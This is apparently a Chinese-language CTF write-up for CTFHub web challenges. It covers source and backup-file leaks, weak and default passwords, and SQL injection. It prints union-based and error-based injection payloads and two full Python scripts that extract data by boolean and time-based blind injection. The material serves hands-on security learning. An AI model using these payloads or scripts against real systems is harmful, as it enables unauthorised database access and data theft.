基础
信息泄露
目录遍历
随便遍历一下,我自己是在1/4中找到了flag。。。
应该也有类似的自动遍历工具,我觉得可以用Burpsuite的Spider进行扫描,不过做出来就不管了
PHPINFO
Ctrl+F,可以在Environment的部分里面找到flag。
备份文件下载-网站源码
SourceLeakHacker直接扫描出www.zip
发现一个flag_xxxxxx(一串数字).txt的文件,网站上打开得到flag
备份文件下载-bak文件
传统艺能扫一遍
得到index.php.bak
那么里面就是flag
备份文件下载-vim缓存
传统扫描器
.index.php.swp
直接打开可得flag,或者用vim -r 恢复源文件可得
备份文件下载-.DS_Store
继续扫描
存在/.DS_Store
那么有个工具叫ds_store_exp
跑一遍,得到一个txt文件,那个文件里面有flag
Git泄露-Log
存在一个工具叫做GitHack,是BugScanTeam那个版本的
然后还原完我们来git log一下
然后git reset --hard 还原到合适的版本
然后获得flag
Git泄露-Stash
题目名是Stash,这个在git中是暂存区的意思
用上一题方法后选择git stash pop即可获得flag文件
Git泄露-Index
相同操作,可惜这次是直接放在中间了
直接拿flag
SVN泄露
用这个工具 dvcs-ripper-master
然后恢复完会在当前目录下生成.svn文件夹,进去就是恢复好的
找找flag就行了
HG泄露
上题工具带了个rip-hg,直接跑即可
找到flag名字后在网站上下载即可,在.hg/store/undo里面可以看到名字
密码口令
弱口令
试了admin888,出来了
默认口令
很迷,我百度到一个管理员手册,写的用户名密码输进去不对
百度题解得到 eyougw admin@(eyou)我也不知道为啥
不过有些题解附送了一个常见产品默认口令,挺好
SQL注入
整数型注入
首先我们发现id处存在注入
于是我们来操作一下
0 and 1=2 union select 1,database()#
得到数据库名sqli
然后我们继续注入
0 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
得到表名news,flag
然后继续注入
0 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
得到列名flag
然后继续注入
0 and 1=2 union select 1,flag from flag#
获得flag
字符型注入
输入1可以查询,输入1''也可以查询,推测是SQLite数据库或者MariaDB类的
我们来注入一下
1' AND 1=2 UNION SELECT '1','2' --+'
可以正常回显,然后我们发现第二项不能回显字母,只能回显数字,所以改到第一项回显
数据库名:
1' AND 1=2 UNION SELECT database(),1 --+'
表名:
1' AND 1=2 UNION SELECT GROUP_CONCAT(table_name),1 FROM information_schema.tables WHERE table_schema='sqli' #'
为什么换成#了呢,因为--+这回不回显了,很奇怪。
列名:
1' AND 1=2 UNION SELECT GROUP_CONCAT(column_name),1 FROM information_schema.columns WHERE table_name='flag' #'
数据:
1' AND 1=2 UNION SELECT flag,1 FROM flag #'
可以得到flag
报错注入
随便输点东西就报错了
那么我们根据经验,可以有updatexml/floor/extractvalue三种思路
不过有篇文章说了更加复杂的几种形式,可以参考
注入用户:
1 and (updatexml(1,make_set(3,'#',(select user())),1));
或者
1 and (updatexml(1,export_set(2,(select user()),'#','',2),1));
这里我们没有使用concat,因为在以前的某次CTF比赛中限制了concat的使用,这里我们可以用技巧绕过
在这题的情况下,当然也可以用concat
库名:
1 and (extractvalue(1,concat('#',(select database()))));
表名:
1 and (extractvalue(1,concat('#',(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sqli'/**/))));
列名:
1 and (extractvalue(1,concat('#',(select GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'/**/))));
数据:
1 and (extractvalue(1,concat((select flag FROM flag),0x7e)));
然而没有右括号,我们想办法操作一下,而且看起来少了点东西
我们用substr分段一下,拼起来
1 and (extractvalue(1,concat(substring((select flag FROM flag),16,50))));
Flag: ctfhub{01de09aa9b6ec7c183fb002d5e1659de143f3696}
顺便放个MariaDB命令教程
布尔盲注
根据我对这个东西的理解,应该要用到脚本,可惜我之前从来没写过这种脚本
那这回正好写一个
先说一下这题的原理吧:
我们输入(1=1),可以输出query_success;而我们输入(1=2),则会显示query_error。于是我们来写个脚本,用substr截断后判断字符是否等于一个值来依次爆破每一位。当然也可以用二分的思想来让每一位的爆破次数降低到$$\log{2}{n}$$
的级别。
我写了一个不使用二分的脚本,其实二分也挺好写的。
import sys
import requests
import string
config_html = 'http://challenge-3f816af1a84ae48b.sandbox.ctfhub.com:10080/'
config_method = 'GET'
config_key = 'id'
config_data = {
'id' : '{0}'
}
config_length = '(char_length({0}){1})'
config_line = '({0}{1})'
config_success_flag = 'query_success'
config_failed_flag = 'query_error'
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
config_data_range = string.printable
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def get_length_line(cmd):
for i in range(0,255):
if get(url = config_html,data = cfg_data(config_length.format(cmd,'>=' + str(i)))):
continue
else:
print('[+] {0} length: {1}'.format(cmd,i - 1))
return i - 1
print('[-] Search Length Failed...')
return 0
def get_value_line(cmd,length):
ret = ''
for l in range(length):
last = ''
fg = False
for i in config_data_range:
if get(url = config_html,data = cfg_data(config_line.format(cmd,'>=' + '\'' + ret + i + '\''))):
last = i
continue
else:
fg = True
ret += last
last = ''
print('[+] {0} : {1}'.format(cmd,ret))
break
if fg == False:
ret += config_data_range[-1]
return ret
def database():
cmd = "database()"
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
def table(db_name):
cmd = "concat('',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{0}'))".format(db_name)
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
def column(db_table):
cmd = "concat('',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='{0}'))".format(db_table)
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
def flag(db_column,db_table):
cmd = "concat('',(SELECT {0} FROM {1}))".format(db_column,db_table)
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
if __name__ == '__main__':
#db_name = database()
#db_table = table('sqli')
#db_column = column('flag')
db_flag = flag('flag','flag')
时间盲注
跟上一题挺像,不过这次我们使用响应时间作为指标来注入。
脚本小改一下应该就差不多了。
import sys
import requests
import string
import time
import datetime
config_html = 'http://challenge-0164c5bdf9843cb1.sandbox.ctfhub.com:10080/'
config_method = 'GET'
config_key = 'id'
config_data = {
'id' : '{0}'
}
config_time_flag = 1
config_length = '(if((char_length({0}){1}),1,sleep(1)))'
config_line = '(if(({0}{1}),1,sleep(1)))'
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
config_data_range = string.printable
config_cnt = 2
def get(url,data):
time1 = datetime.datetime.now()
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers)
else:
r = requests.post(url = url,data = data,headers = config_headers)
r.encoding = 'UTF-8'
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec < config_time_flag:
return True
elif sec >= config_time_flag:
return False
else:
print('Error: method error!')
return False
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def get_length_line(cmd):
for i in range(1,256):
if get(url = config_html,data = cfg_data(config_length.format(cmd,'>=' + str(i)))):
continue
else:
cnt = config_cnt
flag = False
while cnt > 0:
cnt -= 1
flag = get(url = config_html,data = cfg_data(config_length.format(cmd,'>=' + str(i)))) and flag
if flag == True:
continue
print('[+] {0} length: {1}'.format(cmd,i - 1))
return i - 1
print('[-] Search Length Failed...')
return 0
def get_value_line(cmd,length):
ret = ''
for l in range(length):
last = ''
fg = False
for i in config_data_range:
if get(url = config_html,data = cfg_data(config_line.format(cmd,'>=' + '\'' + ret + i + '\''))):
last = i
continue
else:
cnt = config_cnt
flag = False
while cnt > 0:
cnt -= 1
flag = get(url = config_html,data = cfg_data(config_line.format(cmd,'>=' + '\'' + ret + i + '\''))) and flag
if flag == True:
continue
fg = True
ret += last
print('[+] {0} : {1}'.format(cmd,ret))
break
if fg == False:
ret += config_data_range[-1]
return ret
def database():
cmd = "database()"
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
def table(db_name):
cmd = "concat('',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{0}'))".format(db_name)
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
def column(db_table):
cmd = "concat('',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='{0}'))".format(db_table)
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
def flag(db_column,db_table):
cmd = "concat('',(SELECT {0} FROM {1}))".format(db_column,db_table)
data_length = get_length_line(cmd)
return get_value_line(cmd,data_length)
if __name__ == '__main__':
#db_name = database()
#db_table = table('sqli')
#db_column = column('flag')
db_flag = flag('flag','flag')
缺点就是不是多线程,跑得慢,如果加个多线程就可以跑的很快了
MySQL结构
感觉没啥新意。。。
库名sqli
payload:
1 AND 1=2 UNION SELECT 1,database()
表名anxfdpozsy
payload:
1 AND 1=2 UNION SELECT 1,concat('',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='sqli'))
列名yuzghgonnt
payload:
1 AND 1=2 UNION SELECT 1,concat('',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='anxfdpozsy'))
值ctfhub{80b6b686e4237af78424eb151cc1d4e9c46e4fc3}
payload:
1 AND 1=2 UNION SELECT 1,yuzghgonnt FROM anxfdpozsy
Cookie注入
老套的操作,只是注入点在Cookie里面
为了方便操作,我写了个脚本,可以进行奇特的交互
XSS
文件上传
RCE
进阶
JSON Web Token
敏感信息泄露
是
Comments NOTHING